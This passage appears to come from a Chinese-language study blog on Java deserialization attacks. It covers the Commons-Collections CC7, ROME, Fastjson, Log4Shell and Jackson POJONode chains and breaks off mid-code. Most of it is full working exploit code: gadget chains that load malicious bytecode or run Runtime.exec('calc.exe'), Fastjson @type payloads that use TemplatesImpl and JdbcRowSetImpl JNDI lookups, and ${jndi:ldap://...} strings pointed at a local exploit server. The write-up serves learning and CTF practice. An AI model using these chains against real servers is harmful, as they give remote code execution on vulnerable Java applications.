import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc.exe"}),
                new ConstantTransformer(1)
        };

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable table = new Hashtable();
        table.put(lazyMap1, 1);
        table.put(lazyMap2, 2);

        setFieldValue(transformerChain, "iTransformers", transformers);
        lazyMap2.remove("yy");
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(table);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

ROME链

yso利用链

yso里的gadget如下:

 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

需要的依赖是rome 1.0

从里往外看,可以看到我们的老朋友 TemplatesImpl#getOutputProperties,CB1里用过这东西,它能调用 newTransformer 进而触发 TemplatesImpl 链子。而触发 TemplatesImpl#getOutputProperties 的关键点在于 ToStringBean#toString

可以看到这里有一个 getPropertyDescriptors

这玩意儿的作用是分析类的结构,找出哪些方法是标准的 getter/setter 方法,接着在 ToStringBean#toString 的后面就用invoke进行触发了,所以我们只需要传入一个OutputProperties,接着 invoke 就会执行 getOutputProperties了。

在gadget里可以看到调用 ToStringBean.toString(String)之前还调用了一次ToStringBean#toString()

这东西的作用其实就是返回一个字符串,我们需要控制 this._objTemplatesImpl,这样最后才能生成一个 TemplatesImpl。再往上走是 ObjectBean.toString()

这个类其实挺简单的,主要作用就是触发了 ToStringBean#toSting,再往上走找 ObjectBean#toString 的触发点 EqualsBean#beanHashCode

可以看到这个其实也挺简单的,我们只需要控制 this._objObjectBean 就行了,那么再往上走,竟然回到了 ObjectBean#hashCode,直接copy一下图:

确实存在了对 beanHashCode 的调用,而对 HashCode 的调用方法其实就多了,比如我们最开始学的URLDNS里,就利用了 HashMap#ReadObject 触发了 hash ,进而触发了 hash 里的 HashCode,当然,对 HashMap 直接 put 其实也会触发 HashCode,所以我们下面的代码其实会弹两次计算器:

package com.CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class ROME {
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        Object o = objIn.readObject();
        return o;
    }

    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);

    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, templates);
        ObjectBean root = new ObjectBean(ObjectBean.class, delegate);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(root, "123");

        byte[] obj = serialize(hashMap);
        deserialize(obj);
    }

}

Hashtable 链

除了上面的打法,其实还有其他打法,并且能进一步压缩payload长度,比如现在介绍的 Hashtable 链:

Hashtable.readObject()
  Hashtable.reconstitutionPut()
  	AbstractMap.equals()
    EqualsBean.equals(TemplatesImpl)
      EqualsBean.beanEquals(TemplatesImpl)
        pReadMethod.invoke(_obj, NO_PARAMS)
        	TemplatesImpl.getOutputProperties()

可以看到这个链子长得就很像CC7了,都是 Hashtable#readObject => Hashtable#reconstitutionPut => AbstractMap#equals,不过这里利用的是 EqualsBean#equals,回到AbstractMap#equals,不过现在利用的是 value.equals,其实也就是 EqualsBean.equals

再去看看 EqualsBean#equals

这个代码很简单,就是返回了 this.beanEquals(obj),也就是下面的 EqualsBean#beanEquals

逻辑和之前的 ToStringBean#toString 基本上一样的,找到标准的 getter/setter 方法然后invoke,所以还是和之前一样传入 OutputProperties 即可,然后就会调用 getOutputProperties

完整的代码如下:

package com.CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class ROME2 {
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        Object o = objIn.readObject();
        return o;
    }

    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);

    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        // 防止构造触发
        EqualsBean bean = new EqualsBean(String.class, "s");

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", bean);
        map1.put("zZ", templates);
        map2.put("yy", templates);
        map2.put("zZ", bean);

        Hashtable table = new Hashtable();
        table.put(map1, "1");
        table.put(map2, "2");

        // 反射插入恶意代码
        setFieldValue(bean, "_beanClass", Templates.class);
        setFieldValue(bean, "_obj", templates);

        byte[] obj = serialize(table);
        deserialize(obj);

    }
}

虽然构造equals时我们利用的是CC7里的Hashtable,利用Hashcode的碰撞来做,不过应该可以注意到这里我们每一次map都插入了两个元素,而CC7不需要,这里其实是为了保证beanEquals的时候bean2 != null,这样才能走进循环:

不给hashMap传两个值,那么就会导致 AbstractMap#equalsm.get 拿不到值,自然后面的代码就执行不了了:

Fastjson反序列化

在我们学习反序列化的时候,不难想到一个问题,如果没有一个反序列化接口,再好的链子也打不通。在shiro里我们有一个非常好的载体,那就是rememberMe,他会自动进行反序列化,那我们挖的链子自然就有用了,而这里我们学习的Fastjson恰好就是这么一个非常好用的java反序列化载体。

首先去下一下依赖:fastjson-1.2.24.jar

Fastjson 是阿里巴巴开发的一个 Java 序列化/反序列化 JSON 的高性能库,主要用于:

  • 将 Java 对象转为 JSON 字符串(序列化)
  • 将 JSON 字符串转为 Java 对象(反序列化)

其核心类是 com.alibaba.fastjson.JSON,Fastjson 还支持自动类型识别、深层嵌套结构、泛型、日期格式、@JSONField 注解等。

其中使用 toJSONString 可以把UserBean序列化成json,对应的有三种反序列化的方式:

  • JSON.parse(String): 返回 Object,需手动转型
  • JSON.parseObject(String):返回 JSONObject
  • JSON.parseObject(String, Class):返回自定义类实例

首先我们创建一个user类:

package com.fastjson;

public class user {
    private String name;
    private int age;
    private String hobby;

    public user() {
    }

    public user(String name, int age, String hobby) {
        this.name = name;
        this.age = age;
        this.hobby = hobby;
    }

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getHobby() {
        return hobby;
    }

    public void setHobby(String hobby) {
        this.hobby = hobby;
    }

    @Override
    public String toString() {
        return "user{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", hobby='" + hobby + '\'' +
                '}';
    }
}

接着做个测试:

package com.fastjson;

import com.alibaba.fastjson.JSON;

public class FastjsonParseDemo {
    public static void main(String[] args) {
        user user = new user("Fushuling", 21, "玩原神");

        String s1 = JSON.toJSONString(user);
        System.out.println(s1);
        System.out.println("-----------------------------------------------------");
        Object parse = JSON.parse(s1);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse1 = JSON.parseObject(s1);
        System.out.println(parse1);
        System.out.println(parse1.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse2 = JSON.parseObject(s1, Object.class);
        System.out.println(parse2);
        System.out.println(parse2.getClass().getName());
    }
}

其中JSON.toJSONString(user)的功能为将类转换为json字符串,并且在转换的同时自动调用了get方法,可以想见,它会在java反序列化中扮演着极其重要的作用。

接着三行不同的parse代码,它们输出结果一致,都将json字符串转化为一个类,且是JSONObject类,实际上他们的实现有所不同,parse会转换为@type指定的类,parseObject会默认指定JSONObject类,而在parseObject参数中加一个类参数则会转换为其指定的类,比如这里我们就指定为了Object.class,这里就自动转化为了JSONObject。

接着我们再写一个测试代码:

package com.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastjsonParseDemo2 {
    public static void main(String[] args) {
        user user = new user("Fushuling", 21, "玩原神");

        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s1);
        System.out.println("-----------------------------------------------------");
        Object parse = JSON.parse(s1);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse1 = JSON.parseObject(s1);
        System.out.println(parse1);
        System.out.println(parse1.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse2 = JSON.parseObject(s1, Object.class);
        System.out.println(parse2);
        System.out.println(parse2.getClass().getName());
    }
}

实际上我们只是在调用 toJSONString 的时候多加了一个参数 SerializerFeature.WriteClassName,但这次的执行结果要丰富多彩的多:

首先可以看到,输出结果中带有一个@type参数,值为user类,很显然,是因为我们在 toJSONString 中加了 SerializerFeature.WriteClassName,它的作用是将对象类型一起序列化并且会写入到@type字段中

调用 JSON.parse(s1) 的时候,因为json字符串中有@type,因此会自动执行指定类的set方法,并且会转换为 @type 指定类的类型,也就是这里的user类。

调用 JSON.parseObject(s1)的时候会自动执行 @type 指定类的get和set方法,并且转换为 JSONObject 类,我们去代码里看看为什么:

看一眼就懂了,这里首先调用了一次 parse,所以率先调用了setName,接着这里调用了一次 toJSON 并且强制转换为JSONObject类,所以调用了一次getName。

最后调用 JSON.parseObject(s1, Object.class) 的时候只调用了setName,但是我们现在的类却变成了@type里指定的com.fastjson.user不再是parseObject参数里指定的JSONObject,因此我们可以得出结论,@type里指定的类可以覆盖掉parseObject参数里的类,并且还会自动调用 getter/setter,显然,只要getter/setter有危害,我们就能实现一些非常危险的操作。

这里最后做一个总结:

  • parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
  • parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法
  • parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

其中 getter 自动调用还需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自 Collection Map AtomicBoolean AtomicInteger AtomicLong

setter 自动调用需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或者当前类
  • 以set开头且第四个字母为大写
  • 参数个数为1个

除此之外Fastjson还有以下功能点:

  1. 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数
  2. fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串
  3. fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

Fastjson的基础过完了,现在来聊聊它的利用方式,主要是两种:TemplatesImpl 和 JNDI注入

JNDI注入

JNDI注入在上面的三种反序列化中均可使用,但是有jdk要求:8u161 < jdk < 8u191

这里主要用到的是 JdbcRowSetImpl#connet

可以发现这个方法里进行了 lookup,且参数来自于 dataSource ,这就是非常标准的jndi sink点了,再去找一个可以触发 connet 的地方,这里我们选择 JdbcRowSetImpl#setAutoCommit

由于setAutoCommitsetXXX ,三种parse方式里都会自动调用,那么整个利用链其实就很简单了,构造一个恶意json序列化数据即可:

{
    "@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的
    "dataSourceName":"ldap://127.0.0.1:1389/Exploit", // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
    "autoCommit":true // 再调用setAutoCommit函数,传入true
}

这里我本地用的是之前打Certify的时候用的 JNDIExploit-1.4-SNAPSHOT.jar,但我发现这开发者好像删库了?

package com.fastjson;

import com.alibaba.fastjson.JSON;

public class jndi {
    public static void main(String[] args) {
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc.exe\",\"autoCommit\":true}";
        JSON.parse(exp);
    }
}

TemplatesImpl

利用TemplateImpl进行字节码的加载的条件比较苛刻:

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据,所以其实实用价值很低。

我们之前利用 TemplateImpl 的时候,他利用链的最外层是一个 getOutputProperties,这里我们其实是用的一个原理,想办法让他自动调用 OutputPropertiesgetter,这里我发现huamang哥哥也copy的别人的,主要是这篇文章:https://tttang.com/archive/1579/#toc_templatesimpl,文中也有代码:

package com.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;


public class testTemplateimpl {

    //最终执行payload的类的原始模型
    //ps.要payload在static模块中执行的话,原始模型需要用static方式。
    public static class lala {

    }

    //返回一个在实例化过程中执行任意代码的恶意类的byte码
    //如果对于这部分生成原理不清楚,参考以前的文章
    public static byte[] getevilbyte() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(lala.class.getName());
        //要执行的最终命令
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        //之前说的静态初始化块和构造方法均可,这边用静态方法
        cc.makeClassInitializer().insertBefore(cmd);

        //设置不重复的类名
        String randomClassName = "LaLa" + System.nanoTime();
        cc.setName(randomClassName);
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码
        byte[] lalaByteCodes = cc.toBytecode();

        return lalaByteCodes;
    }

    //生成payload,触发payload
    public static void poc() throws Exception {
        //生成攻击payload
        byte[] evilCode = getevilbyte();//生成恶意类的字节码
        String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{" +
                "\"@type\":\"" + NASTY_CLASS + "\"," +
                "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "'_outputProperties':{ }" +
                "}\n";
        //此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
        System.out.println(text1);
        //服务端触发payload
        ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }

    //main函数调用以下poc而已
    public static void main(String args[]) {
        try {
            poc();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

看了下文章,其实完全就是 TemplatesImpl 链,主要就是用 getter 触发了 TemplatesImpl#getOutputProperties(),在本文里已经出现过很多次了,那么我们直接看到为什么 FastJson 会自动触发 getOutputProperties

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }
  • [✔] 方法名长度大于等于4
  • [✔] 非静态方法
  • [✔] 以get开头且第4个字母为大写
  • [✔] 无传入参数
  • [✔] 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong(上面举例的时候说过Properties继承自Hashtables,实现了Map,所以符合)

那么为什么这个poc里的_bytecodes需要base64编码呢,往后跟了一下,发现是有个地方在字段的值从String恢复成byte[],会经过一次base64解码:

所以我们序列化的时候自然也要base64编码一次,感觉和之前的差不多,所以我拿之前的代码改了改自己写了个demo,果然能打通:

package com.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

public class Template {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
        CtClass clazzz = pool.get("EvilTest");
        byte[] evilCode = clazzz.toBytecode();
        String evilCode_base64 = Base64.encodeBase64String(evilCode);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{" +
                "\"@type\":\"" + NASTY_CLASS + "\"," +
                "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
                "'_name':'HelloTemplatesImpl'," +
                "'_tfactory':{ }," +
                "'_outputProperties':{ }" +
                "}\n";
        System.out.println(text1);
        ParserConfig config = new ParserConfig();
        JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }
}

除了base64,这个我们在之前解释过了,是因为Fastjson存在一次解码操作,和我们之前的payload还有两个不同的地方,一个是这里用了_outputProperties而不是 outputProperties,虽然我试了试没有差别还是能打通;另一个不同的地方就是这里 _tfactory 传了个空的,我们之前都是赋值成new TransformerFactoryImpl()

首先来看第一个问题,跟了一下,大概是解析的时候有个智能匹配函数smartMatch,有多智能呢?比如有一个 JSON key ,可能是 user_nameuser-name,他会尝试移除第一个”-“和”_”后重新匹配字段名且忽略大小写,感觉这操作没什么卵用,反而增大了攻击者的攻击范围

因此你就算把key改成 o_utputpRoperties 这种奇奇怪怪的东西也能打通:

接着看到第二个问题,为什么_tfactory 可以传个空的,直接给结论,是因为当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例:

而这个格式来自于定义,比如我们知道 _tfactory 的定义其实是:

private transient TransformerFactoryImpl _tfactory = null;

所以这里直接好心的帮你生成了,传个空的也行。

Log4j2

log4jLog for Java)是一个由 Apache 开发的、功能强大的 Java 日志记录框架。它允许开发者灵活地将日志输出到控制台、文件、数据库等多个目的地,并支持日志分级(如 INFO, DEBUG, ERROR)来控制日志的详细程度。一句话概括,Log4j 是一个为 Java 提供灵活、可配置、支持多种输出目标和日志等级的日志库。

Log4j 的主要由三部分组成:

  • Logger:负责生成日志。
  • Appender:日志输出位置(如文件、控制台)。
  • Layout:日志格式化方式。

这里我们装一个 Log4j 依赖(需要log4j-core-2.14.1.jar和log4j-api-2.14.1.jar),来学习一下这个传奇级的漏洞的由来。

log4j需要创建配置文件 log4j2.xml 来设置日志的输出,一般是放在classpath,也就是src/这里:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
  <Appenders>
    <!-- 控制台输出 -->
    <Console name="Console" target="SYSTEM_OUT">
      <PatternLayout pattern="[%p] %d{yyyy-MM-dd HH:mm:ss} - %m%n"/>
    </Console>
  </Appenders>

  <Loggers>
    <!-- 根日志器 -->
    <Root level="debug">
      <AppenderRef ref="Console"/>
    </Root>
  </Loggers>
</Configuration>

然后写代码:

package log4j;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2Demo {
    // 获取 Logger 实例(Log4j2 推荐使用 LogManager)
    private static final Logger logger = LogManager.getLogger(Log4j2Demo.class);

    public static void main(String[] args) {
        logger.debug("这是调试信息");
        logger.info("这是普通信息");
        logger.warn("这是警告信息");
        logger.error("这是错误信息");
    }
}

运行后可以看到控制台按照我们设置的格式输出了日志

那么为什么这么好用的一个日志库会出现这么严重的漏洞呢?按照log4shell利用细节的描述,攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

在 Log4j2 中提供的众多特性中,其中一个就是 Property Support。这个特性让使用者可以引用配置中的属性,或传递给底层组件并动态解析。这些属性来自于配置文件中定义的值、系统属性、环境变量、ThreadContext、和事件中存在的数据,用户也可以提供自定义的 Lookup 组件来配置自定义的值。这个 Lookup & Substitution 的过程,就是本次漏洞的关键点。提供 Lookup 功能的组件需要实现 org.apache.logging.log4j.core.lookup.StrLookup 接口,并通过配置文件进行设置,而 Lookup 支持jndi,这就成为了本次漏洞的触发点。

本地复现起来极为简单,首先用 JNDIExploit-1.4-SNAPSHOT.jar 起一个恶意jndi服务,然后用 logger.info 记录我们的恶意payload即可:

package log4j;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j_vul {
    static Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        //用input局部变量来模拟入侵者输入的内容
        String input = "${jndi:ldap://127.0.0.1:1389/Basic/Command/calc.exe}";
        //这里直接用log4j输入
        logger.error(input);
    }
}

正因为触发起来简单,更证明了这个漏洞的危害之大。

首先,Log4j2 使用 org.apache.logging.log4j.core.pattern.MessagePatternConverter 来对日志消息进行处理,在实例化 MessagePatternConverter 时会从 Properties 及 Options 中获取配置来判断是否需要提供 Lookups 功能:

我们可以看到是否开启lookup是来自这行 Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS || noLookupsIdx >= 0,而这个值默认是 false,因此nolooksup默认是false,也就是说lookups默认开启了:

在获取信息后,log4j会对信息进行一次format,也就是格式化

关键点在

if (this.config != null && !this.noLookups) {
                for(int i = offset; i < workingBuilder.length() - 1; ++i) {
                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                        String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
                    }
                }
            }

这段代码的意思是若 this.config 存在,且没有禁用 lookup 功能,他就会从 offset 开始,扫描字符串中是否包含 ${ 字符串,找到 ${ 后,取出从 offset 到末尾的字符串,这部分是包含变量的部分,然后把 workingBuilder 的长度截断为 offset,也就是删除 ${...} 开始之后的部分,为后续追加替换结果做准备,最后是最关键的一句代码 workingBuilder.append(this.config.getStrSubstitutor().replace(event, value)),他会使用 Log4j 的 StrSubstitutor 对象来替换 ${...} 中的内容,例如,${java:version} 会被替换为实际的 Java 版本,${jndi:ldap://...} 会触发远程 JNDI 查找。

我们来看看这个 StrSubstitutor ,可以看到这里在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable 方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute 方法进行递归解析:

而这个 resolveVariable 则调用 this.variableResolver#lookup 方法进行处理,可以看到它处理的内容是${}里面被提取的东西,也就是我们的payload:jdni:xxxx:

而这个lookup其实是一个代理类 Interpolator,这个代理类会代理所有的 StrLookup 实现类,他会在初始时创建一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行映射。我们来看到这个lookup的实现,他首先查找变量中冒号的位置,目的是提取 ${prefix:name} 中的 prefixname

在prefix和name断点,可以看到它就分别提取出来了 jndildap://127.0.0.1:1389/Basic/Command/calc.exe

然后可以看到它进行了 (StrLookup)this.strLookupMap.get(prefix),也就是去查找是否存在对应的解析器,这个strLookupMap就是我们最开始提过的映射表:

取到了解析器之后,就会执行lookup,最后进行jndi注入了:

Jackson反序列化(aliyunctf Bypassit)

Jackson反序列化,或者说aliyunctf Bypassit这条链子每次打比赛都经常提到身边的人提到,感觉在java反序列化中还挺重要的,这次来跟一跟。

当时题目的依赖极其简单,基本上就是得找一条原生的链子:

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
 
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

当然,实际上需要的依赖甚至比这个还简单,我们主要是用到了
spring-boot-starter-web里的jackson,具体而言是 jackson-annotations-2.13.3.jar、jackson-core-2.13.3.jar和jackson-databind-2.13.3.jar

看名字大伙可能就隐隐感觉,这个 Jackson 反序列化会不会和 Fastjson反序列化有什么相似之处呢?实际上还真有,Jackson 反序列化和核心与 Fastjson 打 TemplatesImpl 的打法差不多,都是想办法调用 OutputProperties 的 getter


在jackson中,POJONode#toString 方法可以调用getter方法,调用过程大致如下:

BaseJsonNode#toString
  InternalNodeMapper#nodeToString
    ObjectWriter#writeValueAsString
      ObjectWriter#_writeValueAndClose
        DefaultSerializerProvider#serializeValue
          DefaultSerializerProvider#_serialize
            BeanSerializer#serialize
              BeanSerializerBase#serializeFields
                BeanPropertyWriter#serializeAsField

我们来跟一下,看看为什么 POJONode#toString 能够调用对应类对象的getter方法,首先你在 POJONode 里其实是搜不到一个 toString 方法的实现的:

所以我们说的 POJONode#toString 其实调用的是它父类的 toString,甚至于其实 ValueNode 里也没有toString,调用的是 ValueNode 的父类 BaseJsonNode 里的toString

再来看看这个 InternalNodeMapper#nodeToString ,具体实现也比较简单,也就是继续调用了 ObjectWriter#writeValueAsString

我们再来看到 ObjectWriter#writeValueAsString ,它的作用其实是将一个 Java 对象序列化为 JSON 字符串,是不是有点眼熟?是的,Fastjson里也有,并且Fastjson转换的同时会自动调用getter,事实上 writeValueAsString 也有类似的功能,它也会自动的调用 getter:

最终的触发点在 BeanPropertyWriter#serializeAsField,它会调用对应属性值的getter方法进行赋值。

因此我们现在知道了 POJONode#toString 会调用getter,只要利用它触发 getOutputProperties 就喜提RCE了,那么现在我们需要找到一个地方来触发 toString ,这里用到的是 BadAttributeValueExpException#readObject,这是一个原生类,在readObject的时候就触发了 toString,可谓非常的美妙,直接把链子串起来了:

写payload也不难,也就是在原本的 TemplatesImpl 链子的基础上加了三行代码,首先实例化一个 POJONode,然后把恶意 templates 传进去,这样在触发 BaseJsonNode#toString 就会触发我们的对象 templates 里的 getter 然后触发 TemplatesImpl#getOutputProperties 执行恶意代码:

POJONode node = new POJONode(templates);

然后实例化一个对象 BadAttributeValueExpException ,我们先传一个 null 进去,否则从上面的图里可以看到它会在创建的时候就触发toString,然后把这个 val 属性为恶意的 POJONode 对象 node,然后在反序列化执行 readObject 的时候就会触发(本地调试的时候注意一个问题,IDEA默认会自动调用toString,记得去setting里把这个关了):

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);

注意这里还有一个坑点,如果你直接序列化会出现报错:

Java在writeObject序列化的时候,如果序列化的类实现了writeReplace方法,就会调用并做检查,而我们的 BaseJsonNode恰好就实现了这个writeReplace,解决办法就是直接去把他删了,这里可以直接在原本的代码里加一句这个:

try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
